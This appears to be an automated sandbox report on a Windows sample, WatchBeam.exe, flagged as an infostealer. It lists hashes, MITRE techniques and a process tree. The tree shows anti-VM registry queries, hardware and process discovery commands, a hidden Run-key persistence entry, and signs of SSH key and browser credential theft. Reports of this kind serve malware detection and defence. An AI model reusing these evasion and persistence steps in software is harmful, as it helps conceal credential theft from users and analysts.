1a3609e76ee85d9b0f4eb11e79d3dc0d1b401c1c967ad34825120ec267b2374e

Analysis

max time kernel
84s
max time network
160s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 10:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WatchBeam.exe
Size 114.2MB
Sample260625-mt4dpabs3r
SHA256 1a3609e76ee85d9b0f4eb11e79d3dc0d1b401c1c967ad34825120ec267b2374e
MD5 3b279e876a17decf181890d830cdb4e7
SHA1 aa013f08245aee55ca33e6ed690dd799d7f4da42
SHA512 fbda6d25d21e4fc74dae7cfdc84f0bd52cdccb2f832322cd8516a650f8b4339545c36014f12e0d6536449ab3e1038b9b576977ea44c4d0dde8e129d6145f422a
SSDEEP 3145728:vGXLQiWU/knF378uO5V3JmLQNdd8Y59d1cBDr7T+b8jdVRSyhDdFv4W:kQl7nFL8uLIkgmv+b8jdPSwL
TLSH
T1364833549712C639FF60F73F5AC2F4F0172A6B37B8A4B007487835D26AB9958C28D762
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe

Executes dropped EXE 10 IoCs

pid	Process
3216	WatchBeam.exe
1756	WatchBeam.exe
5580	WatchBeam.exe
2060	WatchBeam.exe
4476	WatchBeam.exe
1960	WatchBeam.exe
1196	WatchBeam.exe
6000	WatchBeam.exe
1840	WatchBeam.exe
5336	WatchBeam.exe

Loads dropped DLL 21 IoCs

pid	Process
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
3216	WatchBeam.exe
3216	WatchBeam.exe
1756	WatchBeam.exe
1756	WatchBeam.exe
2060	WatchBeam.exe
2060	WatchBeam.exe
4476	WatchBeam.exe
4476	WatchBeam.exe
1196	WatchBeam.exe
1840	WatchBeam.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Windows\CurrentVersion\Run\WatchBeam = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\WatchBeam\\WatchBeam.exe\" --hidden"	WatchBeam.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Windows\CurrentVersion\Run\WatchBeam = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\WatchBeam\\WatchBeam.exe\" --hidden"	WatchBeam.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
3824	tasklist.exe
5312	tasklist.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	WatchBeam.exe
File opened for modification	C:\Windows\SystemTemp	WatchBeam.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1948	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3924	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	WatchBeam.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	WatchBeam.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	WatchBeam.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1808	WMIC.exe
5576	WMIC.exe

Kills process with taskkill 46 IoCs

defense_evasion

pid	Process
5744	taskkill.exe
5876	taskkill.exe
2456	taskkill.exe
3256	taskkill.exe
4184	taskkill.exe
1764	taskkill.exe
4488	taskkill.exe
1516	taskkill.exe
1864	taskkill.exe
1408	taskkill.exe
1380	taskkill.exe
2968	taskkill.exe
2636	taskkill.exe
4196	taskkill.exe
1404	taskkill.exe
5528	taskkill.exe
2388	taskkill.exe
1960	taskkill.exe
4820	taskkill.exe
1800	taskkill.exe
4488	taskkill.exe
1960	taskkill.exe
1808	taskkill.exe
4500	taskkill.exe
3096	taskkill.exe
5880	taskkill.exe
3480	taskkill.exe
2680	taskkill.exe
2364	taskkill.exe
5912	taskkill.exe
6040	taskkill.exe
472	taskkill.exe
3416	taskkill.exe
1276	taskkill.exe
1312	taskkill.exe
1288	taskkill.exe
2456	taskkill.exe
5224	taskkill.exe
4520	taskkill.exe
5284	taskkill.exe
2736	taskkill.exe
5224	taskkill.exe
816	taskkill.exe
2216	taskkill.exe
5972	taskkill.exe
3396	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1948	powershell.exe
1948	powershell.exe
3924	powershell.exe
3924	powershell.exe
2180	WatchBeam.exe
2180	WatchBeam.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
1808	WMIC.exe
1808	WMIC.exe
1808	WMIC.exe
1808	WMIC.exe
5860	powershell.exe
5860	powershell.exe
5860	powershell.exe
5148	powershell.exe
5148	powershell.exe
5148	powershell.exe
5576	WMIC.exe
5576	WMIC.exe
5576	WMIC.exe
5576	WMIC.exe
5192	powershell.exe
5192	powershell.exe
5192	powershell.exe
4376	WMIC.exe
4376	WMIC.exe
4376	WMIC.exe
4376	WMIC.exe
5736	WMIC.exe
5736	WMIC.exe
5736	WMIC.exe
5736	WMIC.exe
5744	powershell.exe
5744	powershell.exe
5744	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
4648	WMIC.exe
4648	WMIC.exe
4648	WMIC.exe
4648	WMIC.exe
3260	powershell.exe
3260	powershell.exe
3260	powershell.exe
5876	WMIC.exe
5876	WMIC.exe
5876	WMIC.exe
5876	WMIC.exe
3492	WMIC.exe
3492	WMIC.exe
3492	WMIC.exe
3492	WMIC.exe
2060	WatchBeam.exe
2060	WatchBeam.exe
2060	WatchBeam.exe
2060	WatchBeam.exe
5196	WMIC.exe
5196	WMIC.exe
5196	WMIC.exe
5196	WMIC.exe
1516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeSecurityPrivilege	2180	WatchBeam.exe
Token: SeDebugPrivilege	3824	tasklist.exe
Token: SeShutdownPrivilege	3216	WatchBeam.exe
Token: SeCreatePagefilePrivilege	3216	WatchBeam.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	5312	tasklist.exe
Token: SeShutdownPrivilege	3216	WatchBeam.exe
Token: SeCreatePagefilePrivilege	3216	WatchBeam.exe
Token: SeIncreaseQuotaPrivilege	1808	WMIC.exe
Token: SeSecurityPrivilege	1808	WMIC.exe
Token: SeTakeOwnershipPrivilege	1808	WMIC.exe
Token: SeLoadDriverPrivilege	1808	WMIC.exe
Token: SeSystemProfilePrivilege	1808	WMIC.exe
Token: SeSystemtimePrivilege	1808	WMIC.exe
Token: SeProfSingleProcessPrivilege	1808	WMIC.exe
Token: SeIncBasePriorityPrivilege	1808	WMIC.exe
Token: SeCreatePagefilePrivilege	1808	WMIC.exe
Token: SeBackupPrivilege	1808	WMIC.exe
Token: SeRestorePrivilege	1808	WMIC.exe
Token: SeShutdownPrivilege	1808	WMIC.exe
Token: SeDebugPrivilege	1808	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1808	WMIC.exe
Token: SeRemoteShutdownPrivilege	1808	WMIC.exe
Token: SeUndockPrivilege	1808	WMIC.exe
Token: SeManageVolumePrivilege	1808	WMIC.exe
Token: 33	1808	WMIC.exe
Token: 34	1808	WMIC.exe
Token: 35	1808	WMIC.exe
Token: 36	1808	WMIC.exe
Token: SeDebugPrivilege	5860	powershell.exe
Token: SeIncreaseQuotaPrivilege	1808	WMIC.exe
Token: SeSecurityPrivilege	1808	WMIC.exe
Token: SeTakeOwnershipPrivilege	1808	WMIC.exe
Token: SeLoadDriverPrivilege	1808	WMIC.exe
Token: SeSystemProfilePrivilege	1808	WMIC.exe
Token: SeSystemtimePrivilege	1808	WMIC.exe
Token: SeProfSingleProcessPrivilege	1808	WMIC.exe
Token: SeIncBasePriorityPrivilege	1808	WMIC.exe
Token: SeCreatePagefilePrivilege	1808	WMIC.exe
Token: SeBackupPrivilege	1808	WMIC.exe
Token: SeRestorePrivilege	1808	WMIC.exe
Token: SeShutdownPrivilege	1808	WMIC.exe
Token: SeDebugPrivilege	1808	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1808	WMIC.exe
Token: SeRemoteShutdownPrivilege	1808	WMIC.exe
Token: SeUndockPrivilege	1808	WMIC.exe
Token: SeManageVolumePrivilege	1808	WMIC.exe
Token: 33	1808	WMIC.exe
Token: 34	1808	WMIC.exe
Token: 35	1808	WMIC.exe
Token: 36	1808	WMIC.exe
Token: SeShutdownPrivilege	2060	WatchBeam.exe
Token: SeCreatePagefilePrivilege	2060	WatchBeam.exe
Token: SeDebugPrivilege	5148	powershell.exe
Token: SeShutdownPrivilege	3216	WatchBeam.exe
Token: SeCreatePagefilePrivilege	3216	WatchBeam.exe
Token: SeIncreaseQuotaPrivilege	5576	WMIC.exe
Token: SeSecurityPrivilege	5576	WMIC.exe
Token: SeTakeOwnershipPrivilege	5576	WMIC.exe
Token: SeLoadDriverPrivilege	5576	WMIC.exe
Token: SeSystemProfilePrivilege	5576	WMIC.exe
Token: SeSystemtimePrivilege	5576	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 1948	2180	WatchBeam.exe	89
PID 2180 wrote to memory of 3924	2180	WatchBeam.exe	91
PID 3216 wrote to memory of 1520	3216	WatchBeam.exe	96
PID 3216 wrote to memory of 2076	3216	WatchBeam.exe	97
PID 3216 wrote to memory of 1756	3216	WatchBeam.exe	99
PID 3216 wrote to memory of 5580	3216	WatchBeam.exe	100
PID 1520 wrote to memory of 2936	1520	cmd.exe	102
PID 2076 wrote to memory of 3824	2076	cmd.exe	147
PID 2936 wrote to memory of 5908	2936	net.exe	104
PID 3216 wrote to memory of 5420	3216	WatchBeam.exe	108
PID 5420 wrote to memory of 2388	5420	cmd.exe	110
PID 2060 wrote to memory of 4744	2060	WatchBeam.exe	111
PID 2060 wrote to memory of 2120	2060	WatchBeam.exe	114
PID 2060 wrote to memory of 4476	2060	WatchBeam.exe	113
PID 2060 wrote to memory of 1960	2060	WatchBeam.exe	115
PID 2120 wrote to memory of 5312	2120	cmd.exe	117
PID 4744 wrote to memory of 4916	4744	cmd.exe	118
PID 4916 wrote to memory of 1308	4916	net.exe	119
PID 3216 wrote to memory of 4424	3216	WatchBeam.exe	120
PID 4424 wrote to memory of 1808	4424	cmd.exe	122
PID 2060 wrote to memory of 5572	2060	WatchBeam.exe	123
PID 5572 wrote to memory of 5860	5572	cmd.exe	125
PID 3216 wrote to memory of 2184	3216	WatchBeam.exe	126
PID 2184 wrote to memory of 5148	2184	cmd.exe	128
PID 2060 wrote to memory of 2672	2060	WatchBeam.exe	129
PID 2672 wrote to memory of 5576	2672	cmd.exe	131
PID 2060 wrote to memory of 1428	2060	WatchBeam.exe	132
PID 1428 wrote to memory of 5192	1428	cmd.exe	134
PID 2060 wrote to memory of 3212	2060	WatchBeam.exe	136
PID 3212 wrote to memory of 3920	3212	cmd.exe	138
PID 2060 wrote to memory of 2688	2060	WatchBeam.exe	139
PID 3216 wrote to memory of 5988	3216	WatchBeam.exe	141
PID 2688 wrote to memory of 1848	2688	cmd.exe	143
PID 5988 wrote to memory of 5468	5988	cmd.exe	144
PID 2060 wrote to memory of 1340	2060	WatchBeam.exe	145
PID 3216 wrote to memory of 3824	3216	WatchBeam.exe	147
PID 1340 wrote to memory of 2772	1340	cmd.exe	188
PID 3824 wrote to memory of 4488	3824	cmd.exe	293
PID 2060 wrote to memory of 1504	2060	WatchBeam.exe	151
PID 1504 wrote to memory of 4500	1504	cmd.exe	308
PID 3216 wrote to memory of 5992	3216	WatchBeam.exe	154
PID 2060 wrote to memory of 4420	2060	WatchBeam.exe	156
PID 5992 wrote to memory of 3260	5992	cmd.exe	193
PID 4420 wrote to memory of 5852	4420	cmd.exe	159
PID 3216 wrote to memory of 5832	3216	WatchBeam.exe	160
PID 2060 wrote to memory of 2340	2060	WatchBeam.exe	162
PID 5832 wrote to memory of 696	5832	cmd.exe	219
PID 2340 wrote to memory of 5876	2340	cmd.exe	208
PID 3216 wrote to memory of 3820	3216	WatchBeam.exe	166
PID 2060 wrote to memory of 2408	2060	WatchBeam.exe	168
PID 3820 wrote to memory of 3500	3820	cmd.exe	170
PID 2408 wrote to memory of 4376	2408	cmd.exe	307
PID 3216 wrote to memory of 4304	3216	WatchBeam.exe	172
PID 4304 wrote to memory of 1092	4304	cmd.exe	174
PID 3216 wrote to memory of 5432	3216	WatchBeam.exe	175
PID 5432 wrote to memory of 5736	5432	cmd.exe	209
PID 2060 wrote to memory of 2036	2060	WatchBeam.exe	178
PID 2036 wrote to memory of 5744	2036	cmd.exe	235
PID 3216 wrote to memory of 5340	3216	WatchBeam.exe	181
PID 5340 wrote to memory of 5092	5340	cmd.exe	183
PID 2060 wrote to memory of 2772	2060	WatchBeam.exe	188
PID 2772 wrote to memory of 4648	2772	cmd.exe	190
PID 2060 wrote to memory of 2752	2060	WatchBeam.exe	191
PID 2752 wrote to memory of 3260	2752	cmd.exe	193

C:\Users\Admin\AppData\Local\Temp\WatchBeam.exe
"C:\Users\Admin\AppData\Local\Temp\WatchBeam.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3924

C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
"C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2936
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3824
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1772,i,16833821501547625437,8597852542688553769,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1776,i,3081465605758884559,28466707541342240,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1748 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1756
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --field-trial-handle=1772,i,16833821501547625437,8597852542688553769,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1776,i,3081465605758884559,28466707541342240,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1880 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:5580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5988
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:4488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:3260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5832
